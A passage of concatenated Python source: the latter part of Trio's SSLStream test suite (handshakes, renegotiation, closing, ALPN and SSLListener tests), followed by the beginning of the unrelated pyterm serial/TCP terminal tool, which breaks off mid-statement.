Discussion: https://github.com/pyca/pyopenssl/issues/624 if hasattr(SSL, "OP_NO_TLSv1_3"): ctx.set_options(SSL.OP_NO_TLSv1_3) # Unfortunately there's currently no way to say "use 1.3 or worse", we # can only disable specific versions. And if the two sides start # negotiating 1.4 at some point in the future, it *might* mean that # our tests silently stop working properly. So the next line is a # tripwire to remind us we need to revisit this stuff in 5 years or # whatever when the next TLS version is released: assert not hasattr(SSL, "OP_NO_TLSv1_4") TRIO_TEST_1_CERT.configure_cert(ctx) self._conn = SSL.Connection(ctx, None) self._conn.set_accept_state() self._lot = _core.ParkingLot() self._pending_cleartext = bytearray() self._send_all_conflict_detector = ConflictDetector( "simultaneous calls to PyOpenSSLEchoStream.send_all" ) self._receive_some_conflict_detector = ConflictDetector( "simultaneous calls to PyOpenSSLEchoStream.receive_some" ) if sleeper is None: async def no_op_sleeper(_): return self.sleeper = no_op_sleeper else: self.sleeper = sleeper async def aclose(self): self._conn.bio_shutdown() def renegotiate_pending(self): return self._conn.renegotiate_pending() def renegotiate(self): # Returns false if a renegotation is already in progress, meaning # nothing happens. assert self._conn.renegotiate() async def wait_send_all_might_not_block(self): with self._send_all_conflict_detector: await _core.checkpoint() await _core.checkpoint() await self.sleeper("wait_send_all_might_not_block") async def send_all(self, data): print(" --> transport_stream.send_all") with self._send_all_conflict_detector: await _core.checkpoint() await _core.checkpoint() await self.sleeper("send_all") self._conn.bio_write(data) while True: await self.sleeper("send_all") try: data = self._conn.recv(1) except SSL.ZeroReturnError: self._conn.shutdown() print("renegotiations:", self._conn.total_renegotiations()) break except SSL.WantReadError: break else: self._pending_cleartext += data self._lot.unpark_all() await self.sleeper("send_all") print(" <-- transport_stream.send_all finished") async def receive_some(self, nbytes): print(" --> transport_stream.receive_some") with self._receive_some_conflict_detector: try: await _core.checkpoint() await _core.checkpoint() while True: await self.sleeper("receive_some") try: return self._conn.bio_read(nbytes) except SSL.WantReadError: # No data in our ciphertext buffer; try to generate # some. if self._pending_cleartext: # We have some cleartext; maybe we can encrypt it # and then return it. print(" trying", self._pending_cleartext) try: # PyOpenSSL bug: doesn't accept bytearray # https://github.com/pyca/pyopenssl/issues/621 next_byte = self._pending_cleartext[0:1] self._conn.send(bytes(next_byte)) # Apparently this next bit never gets hit in the # test suite, but it's not an interesting omission # so let's pragma it. except SSL.WantReadError: # pragma: no cover # We didn't manage to send the cleartext (and # in particular we better leave it there to # try again, due to openssl's retry # semantics), but it's possible we pushed a # renegotiation forward and *now* we have data # to send. try: return self._conn.bio_read(nbytes) except SSL.WantReadError: # Nope. We're just going to have to wait # for someone to call send_all() to give # use more data. print("parking (a)") await self._lot.park() else: # We successfully sent that byte, so we don't # have to again. del self._pending_cleartext[0:1] else: # no pending cleartext; nothing to do but wait for # someone to call send_all print("parking (b)") await self._lot.park() finally: await self.sleeper("receive_some") print(" <-- transport_stream.receive_some finished") async def test_PyOpenSSLEchoStream_gives_resource_busy_errors(): # Make sure that PyOpenSSLEchoStream complains if two tasks call send_all # at the same time, or ditto for receive_some. The tricky cases where SSLStream # might accidentally do this are during renegotation, which we test using # PyOpenSSLEchoStream, so this makes sure that if we do have a bug then # PyOpenSSLEchoStream will notice and complain. s = PyOpenSSLEchoStream() with pytest.raises(_core.BusyResourceError) as excinfo: async with _core.open_nursery() as nursery: nursery.start_soon(s.send_all, b"x") nursery.start_soon(s.send_all, b"x") assert "simultaneous" in str(excinfo.value) s = PyOpenSSLEchoStream() with pytest.raises(_core.BusyResourceError) as excinfo: async with _core.open_nursery() as nursery: nursery.start_soon(s.send_all, b"x") nursery.start_soon(s.wait_send_all_might_not_block) assert "simultaneous" in str(excinfo.value) s = PyOpenSSLEchoStream() with pytest.raises(_core.BusyResourceError) as excinfo: async with _core.open_nursery() as nursery: nursery.start_soon(s.wait_send_all_might_not_block) nursery.start_soon(s.wait_send_all_might_not_block) assert "simultaneous" in str(excinfo.value) s = PyOpenSSLEchoStream() with pytest.raises(_core.BusyResourceError) as excinfo: async with _core.open_nursery() as nursery: nursery.start_soon(s.receive_some, 1) nursery.start_soon(s.receive_some, 1) assert "simultaneous" in str(excinfo.value) @contextmanager def virtual_ssl_echo_server(**kwargs): fakesock = PyOpenSSLEchoStream(**kwargs) yield SSLStream( fakesock, CLIENT_CTX, server_hostname="trio-test-1.example.org" ) def ssl_wrap_pair( client_transport, server_transport, *, client_kwargs={}, server_kwargs={} ): client_ssl = SSLStream( client_transport, CLIENT_CTX, server_hostname="trio-test-1.example.org", **client_kwargs ) server_ssl = SSLStream( server_transport, SERVER_CTX, server_side=True, **server_kwargs ) return client_ssl, server_ssl def ssl_memory_stream_pair(**kwargs): client_transport, server_transport = memory_stream_pair() return ssl_wrap_pair(client_transport, server_transport, **kwargs) def ssl_lockstep_stream_pair(**kwargs): client_transport, server_transport = lockstep_stream_pair() return ssl_wrap_pair(client_transport, server_transport, **kwargs) # Simple smoke test for handshake/send/receive/shutdown talking to a # synchronous server, plus make sure that we do the bare minimum of # certificate checking (even though this is really Python's responsibility) async def test_ssl_client_basics(): # Everything OK async with ssl_echo_server() as s: assert not s.server_side await s.send_all(b"x") assert await s.receive_some(1) == b"x" await s.aclose() # Didn't configure the CA file, should fail async with ssl_echo_server_raw(expect_fail=True) as sock: client_ctx = ssl.create_default_context() s = SSLStream( sock, client_ctx, server_hostname="trio-test-1.example.org" ) assert not s.server_side with pytest.raises(BrokenResourceError) as excinfo: await s.send_all(b"x") assert isinstance(excinfo.value.__cause__, ssl.SSLError) # Trusted CA, but wrong host name async with ssl_echo_server_raw(expect_fail=True) as sock: s = SSLStream( sock, CLIENT_CTX, server_hostname="trio-test-2.example.org" ) assert not s.server_side with pytest.raises(BrokenResourceError) as excinfo: await s.send_all(b"x") assert isinstance(excinfo.value.__cause__, ssl.CertificateError) async def test_ssl_server_basics(): a, b = stdlib_socket.socketpair() with a, b: server_sock = tsocket.from_stdlib_socket(b) server_transport = SSLStream( SocketStream(server_sock), SERVER_CTX, server_side=True ) assert server_transport.server_side def client(): client_sock = CLIENT_CTX.wrap_socket( a, server_hostname="trio-test-1.example.org" ) client_sock.sendall(b"x") assert client_sock.recv(1) == b"y" client_sock.sendall(b"z") client_sock.unwrap() t = threading.Thread(target=client) t.start() assert await server_transport.receive_some(1) == b"x" await server_transport.send_all(b"y") assert await server_transport.receive_some(1) == b"z" assert await server_transport.receive_some(1) == b"" await server_transport.aclose() t.join() async def test_attributes(): async with ssl_echo_server_raw(expect_fail=True) as sock: good_ctx = CLIENT_CTX bad_ctx = ssl.create_default_context() s = SSLStream( sock, good_ctx, server_hostname="trio-test-1.example.org" ) assert s.transport_stream is sock # Forwarded attribute getting assert s.context is good_ctx assert s.server_side == False # noqa assert s.server_hostname == "trio-test-1.example.org" with pytest.raises(AttributeError): s.asfdasdfsa # __dir__ assert "transport_stream" in dir(s) assert "context" in dir(s) # Setting the attribute goes through to the underlying object # most attributes on SSLObject are read-only with pytest.raises(AttributeError): s.server_side = True with pytest.raises(AttributeError): s.server_hostname = "asdf" # but .context is *not*. Check that we forward attribute setting by # making sure that after we set the bad context our handshake indeed # fails: s.context = bad_ctx assert s.context is bad_ctx with pytest.raises(BrokenResourceError) as excinfo: await s.do_handshake() assert isinstance(excinfo.value.__cause__, ssl.SSLError) # Note: this test fails horribly if we force TLS 1.2 and trigger a # renegotiation at the beginning (e.g. by switching to the pyopenssl # server). Usually the client crashes in SSLObject.write with "UNEXPECTED # RECORD"; sometimes we get something more exotic like a SyscallError. This is # odd because openssl isn't doing any syscalls, but so it goes. After lots of # websearching I'm pretty sure this is due to a bug in OpenSSL, where it just # can't reliably handle full-duplex communication combined with # renegotiation. Nice, eh? # # https://rt.openssl.org/Ticket/Display.html?id=3712 # https://rt.openssl.org/Ticket/Display.html?id=2481 # http://openssl.6102.n7.nabble.com/TLS-renegotiation-failure-on-receiving-application-data-during-handshake-td48127.html # https://stackoverflow.com/questions/18728355/ssl-renegotiation-with-full-duplex-socket-communication # # In some variants of this test (maybe only against the java server?) I've # also seen cases where our send_all blocks waiting to write, and then our receive_some # also blocks waiting to write, and they never wake up again. It looks like # some kind of deadlock. I suspect there may be an issue where we've filled up # the send buffers, and the remote side is trying to handle the renegotiation # from inside a write() call, so it has a problem: there's all this application # data clogging up the pipe, but it can't process and return it to the # application because it's in write(), and it doesn't want to buffer infinite # amounts of data, and... actually I guess those are the only two choices. # # NSS even documents that you shouldn't try to do a renegotiation except when # the connection is idle: # # https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/SSL_functions/sslfnc.html#1061582 # # I begin to see why HTTP/2 forbids renegotiation and TLS 1.3 removes it... async def test_full_duplex_basics(): CHUNKS = 30 CHUNK_SIZE = 32768 EXPECTED = CHUNKS * CHUNK_SIZE sent = bytearray() received = bytearray() async def sender(s): nonlocal sent for i in range(CHUNKS): print(i) chunk = bytes([i] * CHUNK_SIZE) sent += chunk await s.send_all(chunk) async def receiver(s): nonlocal received while len(received) < EXPECTED: chunk = await s.receive_some(CHUNK_SIZE // 2) received += chunk async with ssl_echo_server() as s: async with _core.open_nursery() as nursery: nursery.start_soon(sender, s) nursery.start_soon(receiver, s) # And let's have some doing handshakes too, everyone # simultaneously nursery.start_soon(s.do_handshake) nursery.start_soon(s.do_handshake) await s.aclose() assert len(sent) == len(received) == EXPECTED assert sent == received async def test_renegotiation_simple(): with virtual_ssl_echo_server() as s: await s.do_handshake() s.transport_stream.renegotiate() await s.send_all(b"a") assert await s.receive_some(1) == b"a" # Have to send some more data back and forth to make sure the # renegotiation is finished before shutting down the # connection... otherwise openssl raises an error. I think this is a # bug in openssl but what can ya do. await s.send_all(b"b") assert await s.receive_some(1) == b"b" await s.aclose() @slow async def test_renegotiation_randomized(mock_clock): # The only blocking things in this function are our random sleeps, so 0 is # a good threshold. mock_clock.autojump_threshold = 0 import random r = random.Random(0) async def sleeper(_): await trio.sleep(r.uniform(0, 10)) async def clear(): while s.transport_stream.renegotiate_pending(): with assert_checkpoints(): await send(b"-") with assert_checkpoints(): await expect(b"-") print("-- clear --") async def send(byte): await s.transport_stream.sleeper("outer send") print("calling SSLStream.send_all", byte) with assert_checkpoints(): await s.send_all(byte) async def expect(expected): await s.transport_stream.sleeper("expect") print("calling SSLStream.receive_some, expecting", expected) assert len(expected) == 1 with assert_checkpoints(): assert await s.receive_some(1) == expected with virtual_ssl_echo_server(sleeper=sleeper) as s: await s.do_handshake() await send(b"a") s.transport_stream.renegotiate() await expect(b"a") await clear() for i in range(100): b1 = bytes([i % 0xff]) b2 = bytes([(2 * i) % 0xff]) s.transport_stream.renegotiate() async with _core.open_nursery() as nursery: nursery.start_soon(send, b1) nursery.start_soon(expect, b1) async with _core.open_nursery() as nursery: nursery.start_soon(expect, b2) nursery.start_soon(send, b2) await clear() for i in range(100): b1 = bytes([i % 0xff]) b2 = bytes([(2 * i) % 0xff]) await send(b1) s.transport_stream.renegotiate() await expect(b1) async with _core.open_nursery() as nursery: nursery.start_soon(expect, b2) nursery.start_soon(send, b2) await clear() # Checking that wait_send_all_might_not_block and receive_some don't # conflict: # 1) Set up a situation where expect (receive_some) is blocked sending, # and wait_send_all_might_not_block comes in. # Our receive_some() call will get stuck when it hits send_all async def sleeper_with_slow_send_all(method): if method == "send_all": await trio.sleep(100000) # And our wait_send_all_might_not_block call will give it time to get # stuck, and then start async def sleep_then_wait_writable(): await trio.sleep(1000) await s.wait_send_all_might_not_block() with virtual_ssl_echo_server(sleeper=sleeper_with_slow_send_all) as s: await send(b"x") s.transport_stream.renegotiate() async with _core.open_nursery() as nursery: nursery.start_soon(expect, b"x") nursery.start_soon(sleep_then_wait_writable) await clear() await s.aclose() # 2) Same, but now wait_send_all_might_not_block is stuck when # receive_some tries to send. async def sleeper_with_slow_wait_writable_and_expect(method): if method == "wait_send_all_might_not_block": await trio.sleep(100000) elif method == "expect": await trio.sleep(1000) with virtual_ssl_echo_server( sleeper=sleeper_with_slow_wait_writable_and_expect ) as s: await send(b"x") s.transport_stream.renegotiate() async with _core.open_nursery() as nursery: nursery.start_soon(expect, b"x") nursery.start_soon(s.wait_send_all_might_not_block) await clear() await s.aclose() async def test_resource_busy_errors(): async def do_send_all(): with assert_checkpoints(): await s.send_all(b"x") async def do_receive_some(): with assert_checkpoints(): await s.receive_some(1) async def do_wait_send_all_might_not_block(): with assert_checkpoints(): await s.wait_send_all_might_not_block() s, _ = ssl_lockstep_stream_pair() with pytest.raises(_core.BusyResourceError) as excinfo: async with _core.open_nursery() as nursery: nursery.start_soon(do_send_all) nursery.start_soon(do_send_all) assert "another task" in str(excinfo.value) s, _ = ssl_lockstep_stream_pair() with pytest.raises(_core.BusyResourceError) as excinfo: async with _core.open_nursery() as nursery: nursery.start_soon(do_receive_some) nursery.start_soon(do_receive_some) assert "another task" in str(excinfo.value) s, _ = ssl_lockstep_stream_pair() with pytest.raises(_core.BusyResourceError) as excinfo: async with _core.open_nursery() as nursery: nursery.start_soon(do_send_all) nursery.start_soon(do_wait_send_all_might_not_block) assert "another task" in str(excinfo.value) s, _ = ssl_lockstep_stream_pair() with pytest.raises(_core.BusyResourceError) as excinfo: async with _core.open_nursery() as nursery: nursery.start_soon(do_wait_send_all_might_not_block) nursery.start_soon(do_wait_send_all_might_not_block) assert "another task" in str(excinfo.value) async def test_wait_writable_calls_underlying_wait_writable(): record = [] class NotAStream: async def wait_send_all_might_not_block(self): record.append("ok") ctx = ssl.create_default_context() s = SSLStream(NotAStream(), ctx, server_hostname="x") await s.wait_send_all_might_not_block() assert record == ["ok"] async def test_checkpoints(): async with ssl_echo_server() as s: with assert_checkpoints(): await s.do_handshake() with assert_checkpoints(): await s.do_handshake() with assert_checkpoints(): await s.wait_send_all_might_not_block() with assert_checkpoints(): await s.send_all(b"xxx") with assert_checkpoints(): await s.receive_some(1) # These receive_some's in theory could return immediately, because the # "xxx" was sent in a single record and after the first # receive_some(1) the rest are sitting inside the SSLObject's internal # buffers. with assert_checkpoints(): await s.receive_some(1) with assert_checkpoints(): await s.receive_some(1) with assert_checkpoints(): await s.unwrap() async with ssl_echo_server() as s: await s.do_handshake() with assert_checkpoints(): await s.aclose() async def test_send_all_empty_string(): async with ssl_echo_server() as s: await s.do_handshake() # underlying SSLObject interprets writing b"" as indicating an EOF, # for some reason. Make sure we don't inherit this. with assert_checkpoints(): await s.send_all(b"") with assert_checkpoints(): await s.send_all(b"") await s.send_all(b"x") assert await s.receive_some(1) == b"x" await s.aclose() @pytest.mark.parametrize("https_compatible", [False, True]) async def test_SSLStream_generic(https_compatible): async def stream_maker(): return ssl_memory_stream_pair( client_kwargs={"https_compatible": https_compatible}, server_kwargs={"https_compatible": https_compatible}, ) async def clogged_stream_maker(): client, server = ssl_lockstep_stream_pair() # If we don't do handshakes up front, then we run into a problem in # the following situation: # - server does wait_send_all_might_not_block # - client does receive_some to unclog it # Then the client's receive_some will actually send some data to start # the handshake, and itself get stuck. async with _core.open_nursery() as nursery: nursery.start_soon(client.do_handshake) nursery.start_soon(server.do_handshake) return client, server await check_two_way_stream(stream_maker, clogged_stream_maker) async def test_unwrap(): client_ssl, server_ssl = ssl_memory_stream_pair() client_transport = client_ssl.transport_stream server_transport = server_ssl.transport_stream seq = Sequencer() async def client(): await client_ssl.do_handshake() await client_ssl.send_all(b"x") assert await client_ssl.receive_some(1) == b"y" await client_ssl.send_all(b"z") # After sending that, disable outgoing data from our end, to make # sure the server doesn't see our EOF until after we've sent some # trailing data async with seq(0): send_all_hook = client_transport.send_stream.send_all_hook client_transport.send_stream.send_all_hook = None assert await client_ssl.receive_some(1) == b"" assert client_ssl.transport_stream is client_transport # We just received EOF. Unwrap the connection and send some more. raw, trailing = await client_ssl.unwrap() assert raw is client_transport assert trailing == b"" assert client_ssl.transport_stream is None await raw.send_all(b"trailing") # Reconnect the streams. Now the server will receive both our shutdown # acknowledgement + the trailing data in a single lump. client_transport.send_stream.send_all_hook = send_all_hook await client_transport.send_stream.send_all_hook() async def server(): await server_ssl.do_handshake() assert await server_ssl.receive_some(1) == b"x" await server_ssl.send_all(b"y") assert await server_ssl.receive_some(1) == b"z" # Now client is blocked waiting for us to send something, but # instead we close the TLS connection (with sequencer to make sure # that the client won't see and automatically respond before we've had # a chance to disable the client->server transport) async with seq(1): raw, trailing = await server_ssl.unwrap() assert raw is server_transport assert trailing == b"trailing" assert server_ssl.transport_stream is None async with _core.open_nursery() as nursery: nursery.start_soon(client) nursery.start_soon(server) async def test_closing_nice_case(): # the nice case: graceful closes all around client_ssl, server_ssl = ssl_memory_stream_pair() client_transport = client_ssl.transport_stream # Both the handshake and the close require back-and-forth discussion, so # we need to run them concurrently async def client_closer(): with assert_checkpoints(): await client_ssl.aclose() async def server_closer(): assert await server_ssl.receive_some(10) == b"" assert await server_ssl.receive_some(10) == b"" with assert_checkpoints(): await server_ssl.aclose() async with _core.open_nursery() as nursery: nursery.start_soon(client_closer) nursery.start_soon(server_closer) # closing the SSLStream also closes its transport with pytest.raises(ClosedResourceError): await client_transport.send_all(b"123") # once closed, it's OK to close again with assert_checkpoints(): await client_ssl.aclose() with assert_checkpoints(): await client_ssl.aclose() # Trying to send more data does not work with pytest.raises(ClosedResourceError): await server_ssl.send_all(b"123") # And once the connection is has been closed *locally*, then instead of # getting empty bytestrings we get a proper error with pytest.raises(ClosedResourceError): await client_ssl.receive_some(10) == b"" with pytest.raises(ClosedResourceError): await client_ssl.unwrap() with pytest.raises(ClosedResourceError): await client_ssl.do_handshake() # Check that a graceful close *before* handshaking gives a clean EOF on # the other side client_ssl, server_ssl = ssl_memory_stream_pair() async def expect_eof_server(): with assert_checkpoints(): assert await server_ssl.receive_some(10) == b"" with assert_checkpoints(): await server_ssl.aclose() async with _core.open_nursery() as nursery: nursery.start_soon(client_ssl.aclose) nursery.start_soon(expect_eof_server) async def test_send_all_fails_in_the_middle(): client, server = ssl_memory_stream_pair() async with _core.open_nursery() as nursery: nursery.start_soon(client.do_handshake) nursery.start_soon(server.do_handshake) async def bad_hook(): raise KeyError client.transport_stream.send_stream.send_all_hook = bad_hook with pytest.raises(KeyError): await client.send_all(b"x") with pytest.raises(BrokenResourceError): await client.wait_send_all_might_not_block() closed = 0 def close_hook(): nonlocal closed closed += 1 client.transport_stream.send_stream.close_hook = close_hook client.transport_stream.receive_stream.close_hook = close_hook await client.aclose() assert closed == 2 async def test_ssl_over_ssl(): client_0, server_0 = memory_stream_pair() client_1 = SSLStream( client_0, CLIENT_CTX, server_hostname="trio-test-1.example.org" ) server_1 = SSLStream(server_0, SERVER_CTX, server_side=True) client_2 = SSLStream( client_1, CLIENT_CTX, server_hostname="trio-test-1.example.org" ) server_2 = SSLStream(server_1, SERVER_CTX, server_side=True) async def client(): await client_2.send_all(b"hi") assert await client_2.receive_some(10) == b"bye" async def server(): assert await server_2.receive_some(10) == b"hi" await server_2.send_all(b"bye") async with _core.open_nursery() as nursery: nursery.start_soon(client) nursery.start_soon(server) async def test_ssl_bad_shutdown(): client, server = ssl_memory_stream_pair() async with _core.open_nursery() as nursery: nursery.start_soon(client.do_handshake) nursery.start_soon(server.do_handshake) await trio.aclose_forcefully(client) # now the server sees a broken stream with pytest.raises(BrokenResourceError): await server.receive_some(10) with pytest.raises(BrokenResourceError): await server.send_all(b"x" * 10) await server.aclose() async def test_ssl_bad_shutdown_but_its_ok(): client, server = ssl_memory_stream_pair( server_kwargs={"https_compatible": True}, client_kwargs={"https_compatible": True} ) async with _core.open_nursery() as nursery: nursery.start_soon(client.do_handshake) nursery.start_soon(server.do_handshake) await trio.aclose_forcefully(client) # the server sees that as a clean shutdown assert await server.receive_some(10) == b"" with pytest.raises(BrokenResourceError): await server.send_all(b"x" * 10) await server.aclose() async def test_ssl_handshake_failure_during_aclose(): # Weird scenario: aclose() triggers an automatic handshake, and this # fails. This also exercises a bit of code in aclose() that was otherwise # uncovered, for re-raising exceptions after calling aclose_forcefully on # the underlying transport. async with ssl_echo_server_raw(expect_fail=True) as sock: # Don't configure trust correctly client_ctx = ssl.create_default_context() s = SSLStream( sock, client_ctx, server_hostname="trio-test-1.example.org" ) # It's a little unclear here whether aclose should swallow the error # or let it escape. We *do* swallow the error if it arrives when we're # sending close_notify, because both sides closing the connection # simultaneously is allowed. But I guess when https_compatible=False # then it's bad if we can get through a whole connection with a peer # that has no valid certificate, and never raise an error. with pytest.raises(BrokenResourceError): await s.aclose() async def test_ssl_only_closes_stream_once(): # We used to have a bug where if transport_stream.aclose() raised an # error, we would call it again. This checks that that's fixed. client, server = ssl_memory_stream_pair() async with _core.open_nursery() as nursery: nursery.start_soon(client.do_handshake) nursery.start_soon(server.do_handshake) client_orig_close_hook = client.transport_stream.send_stream.close_hook transport_close_count = 0 def close_hook(): nonlocal transport_close_count client_orig_close_hook() transport_close_count += 1 raise KeyError client.transport_stream.send_stream.close_hook = close_hook with pytest.raises(KeyError): await client.aclose() assert transport_close_count == 1 async def test_ssl_https_compatibility_disagreement(): client, server = ssl_memory_stream_pair( server_kwargs={"https_compatible": False}, client_kwargs={"https_compatible": True} ) async with _core.open_nursery() as nursery: nursery.start_soon(client.do_handshake) nursery.start_soon(server.do_handshake) # client is in HTTPS-mode, server is not # so client doing graceful_shutdown causes an error on server async def receive_and_expect_error(): with pytest.raises(BrokenResourceError) as excinfo: await server.receive_some(10) assert isinstance(excinfo.value.__cause__, ssl.SSLEOFError) async with _core.open_nursery() as nursery: nursery.start_soon(client.aclose) nursery.start_soon(receive_and_expect_error) async def test_https_mode_eof_before_handshake(): client, server = ssl_memory_stream_pair( server_kwargs={"https_compatible": True}, client_kwargs={"https_compatible": True} ) async def server_expect_clean_eof(): assert await server.receive_some(10) == b"" async with _core.open_nursery() as nursery: nursery.start_soon(client.aclose) nursery.start_soon(server_expect_clean_eof) async def test_send_error_during_handshake(): client, server = ssl_memory_stream_pair() async def bad_hook(): raise KeyError client.transport_stream.send_stream.send_all_hook = bad_hook with pytest.raises(KeyError): with assert_checkpoints(): await client.do_handshake() with pytest.raises(BrokenResourceError): with assert_checkpoints(): await client.do_handshake() async def test_receive_error_during_handshake(): client, server = ssl_memory_stream_pair() async def bad_hook(): raise KeyError client.transport_stream.receive_stream.receive_some_hook = bad_hook async def client_side(cancel_scope): with pytest.raises(KeyError): with assert_checkpoints(): await client.do_handshake() cancel_scope.cancel() async with _core.open_nursery() as nursery: nursery.start_soon(client_side, nursery.cancel_scope) nursery.start_soon(server.do_handshake) with pytest.raises(BrokenResourceError): with assert_checkpoints(): await client.do_handshake() async def test_selected_alpn_protocol_before_handshake(): client, server = ssl_memory_stream_pair() with pytest.raises(NeedHandshakeError): client.selected_alpn_protocol() with pytest.raises(NeedHandshakeError): server.selected_alpn_protocol() async def test_selected_alpn_protocol_when_not_set(): # ALPN protocol still returns None when it's not ser, # instead of raising an exception client, server = ssl_memory_stream_pair() async with _core.open_nursery() as nursery: nursery.start_soon(client.do_handshake) nursery.start_soon(server.do_handshake) assert client.selected_alpn_protocol() is None assert server.selected_alpn_protocol() is None assert client.selected_alpn_protocol() == \ server.selected_alpn_protocol() async def test_selected_npn_protocol_before_handshake(): client, server = ssl_memory_stream_pair() with pytest.raises(NeedHandshakeError): client.selected_npn_protocol() with pytest.raises(NeedHandshakeError): server.selected_npn_protocol() async def test_selected_npn_protocol_when_not_set(): # NPN protocol still returns None when it's not ser, # instead of raising an exception client, server = ssl_memory_stream_pair() async with _core.open_nursery() as nursery: nursery.start_soon(client.do_handshake) nursery.start_soon(server.do_handshake) assert client.selected_npn_protocol() is None assert server.selected_npn_protocol() is None assert client.selected_npn_protocol() == \ server.selected_npn_protocol() async def test_get_channel_binding_before_handshake(): client, server = ssl_memory_stream_pair() with pytest.raises(NeedHandshakeError): client.get_channel_binding() with pytest.raises(NeedHandshakeError): server.get_channel_binding() async def test_get_channel_binding_after_handshake(): client, server = ssl_memory_stream_pair() async with _core.open_nursery() as nursery: nursery.start_soon(client.do_handshake) nursery.start_soon(server.do_handshake) assert client.get_channel_binding() is not None assert server.get_channel_binding() is not None assert client.get_channel_binding() == \ server.get_channel_binding() async def test_getpeercert(): # Make sure we're not affected by https://bugs.python.org/issue29334 client, server = ssl_memory_stream_pair() async with _core.open_nursery() as nursery: nursery.start_soon(client.do_handshake) nursery.start_soon(server.do_handshake) assert server.getpeercert() is None print(client.getpeercert()) assert ( ("DNS", "trio-test-1.example.org") in client.getpeercert()["subjectAltName"] ) async def test_SSLListener(): async def setup(**kwargs): listen_sock = tsocket.socket() await listen_sock.bind(("127.0.0.1", 0)) listen_sock.listen(1) socket_listener = SocketListener(listen_sock) ssl_listener = SSLListener(socket_listener, SERVER_CTX, **kwargs) transport_client = await open_tcp_stream(*listen_sock.getsockname()) ssl_client = SSLStream( transport_client, CLIENT_CTX, server_hostname="trio-test-1.example.org" ) return listen_sock, ssl_listener, ssl_client listen_sock, ssl_listener, ssl_client = await setup() async with ssl_client: ssl_server = await ssl_listener.accept() async with ssl_server: assert not ssl_server._https_compatible # Make sure the connection works async with _core.open_nursery() as nursery: nursery.start_soon(ssl_client.do_handshake) nursery.start_soon(ssl_server.do_handshake) # Test SSLListener.aclose await ssl_listener.aclose() assert listen_sock.fileno() == -1 ################ # Test https_compatible and max_refill_bytes _, ssl_listener, ssl_client = await setup( https_compatible=True, max_refill_bytes=100, ) ssl_server = await ssl_listener.accept() assert ssl_server._https_compatible assert ssl_server._max_refill_bytes == 100 await aclose_forcefully(ssl_listener) await aclose_forcefully(ssl_client) await aclose_forcefully(ssl_server)
pyterm.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (C) 2014 Oliver Hahm <oliver.hahm@inria.fr> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301 USA try: import configparser except ImportError: import ConfigParser as configparser import cmd, serial, socket, sys, threading, readline, time, logging, \ os, argparse, re, codecs, signal # import twisted if available, define dummy classes otherwise try: from twisted.internet import reactor from twisted.internet.protocol import Protocol, \ ReconnectingClientFactory except ImportError: logging.getLogger("").warn("Twisted not available, please install " "it if you want to use pyterm's JSON " "capabilities") class Protocol(): def __init__(self): pass class ReconnectingClientFactory(): def __init__(self): pass # set some default options import platform defaulthostname = platform.node() # default serial port defaultport = "/dev/ttyUSB0" # default baudrate for serial connection defaultbaud = 115200 # directory to store configuration and log files defaultdir = os.environ['HOME'] + os.path.sep + '.pyterm' # configuration file name defaultfile = "pyterm-" + defaulthostname + ".conf" # logging subfolder defaultrunname = "default-run" # default logging prefix format string default_fmt_str = '%(asctime)s - %(levelname)s # %(message)s' defaultnewline = "LF" class SerCmd(cmd.Cmd): """Main class for pyterm based on Python's Cmd class. Runs an interactive terminal that transfer between stdio and serial port. """ def __init__(self, port=None, baudrate=None, toggle=None, tcp_serial=None, confdir=None, conffile=None, host=None, run_name=None, log_dir_name=None, newline=None): """Constructor. Args: port (str): serial port baudrate (int): serial baudrate tcp_serial (iht): TCP port to connect to (alternatively) confdir (str): configuration directory conffile (str): configuration file name host (str): local host name run_name (str): identifier for log files subdirectory """ # initialize class members cmd.Cmd.__init__(self) self.port = port self.baudrate = baudrate self.toggle = toggle self.tcp_serial = tcp_serial self.configdir = confdir self.configfile = conffile self.host = host self.run_name = run_name self.log_dir_name = log_dir_name self.newline = newline if not self.host: self.host = defaulthostname if not self.run_name: self.run_name = defaultrunname if not self.log_dir_name: self.log_dir_name = self.host if not os.path.exists(self.configdir): os.makedirs(self.configdir) self.aliases = dict() self.triggers = dict() self.filters = [] self.ignores = [] self.json_regs = dict() self.init_cmd = [] self.load_config() self.fmt_str = None if not self.fmt_str: self.fmt_str = default_fmt_str # check for a history file try: readline.read_history_file() except IOError: pass # create Logging object my_millis = "%.4f" % (time.time()) date_str = '%s.%s' % (time.strftime('%Y%m%d-%H.%M.%S'), my_millis[-4:]) self.startup = date_str # create formatter formatter = logging.Formatter(self.fmt_str) directory = self.configdir + os.path.sep + self.log_dir_name if not os.path.exists(directory): os.makedirs(directory) logging.basicConfig(filename=directory + os.path.sep + self.run_name + '.log', level=logging.DEBUG, format=self.fmt_str) ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) # create logger self.logger = logging.getLogger('') self.logger.setLevel(logging.INFO) # add formatter to ch ch.setFormatter(formatter) # add ch to logger self.logger.addHandler(ch) def preloop(self): """Executed bat program start. """ # if no serial or TCP is specified use default serial port if not self.port and not self.tcp_serial: sys.stderr.write("No port specified, using default (%s)!\n" % (defaultport)) self.port = defaultport # if a TCP port is specified try to connect if self.tcp_serial: if self.tcp_serial.find(':') >= 0: host = self.tcp_serial.split(':')[0] port = self.tcp_serial.split(':')[1] else: self.logger.warn("Host name for TCP connection is " "missing, defaulting to \"localhost\"") host = "localhost" port = self.tcp_serial self.logger.info("Connect to %s:%s" % (host, port)) try: for res in socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM): af, socktype, proto, canonname, sa = res try: s = fdsocket(af, socktype, proto) except socket.error as msg: s = None continue try: s.connect(sa) except socket.error as msg: s.close() s = None continue break except socket.gaierror as msg: self.logger.error(str(msg)) s = None if s: self.ser = s else: self.logger.error("Something went wrong connecting to " "localhost:%s" % self.tcp_serial) sys.exit(1) # otherwise go for the serial port elif self.port: self.logger.info("Connect to serial port %s" % self.port) try: self.serial_connect() except OSError as e: self.logger.error("Cannot connect to serial port {}: {}" 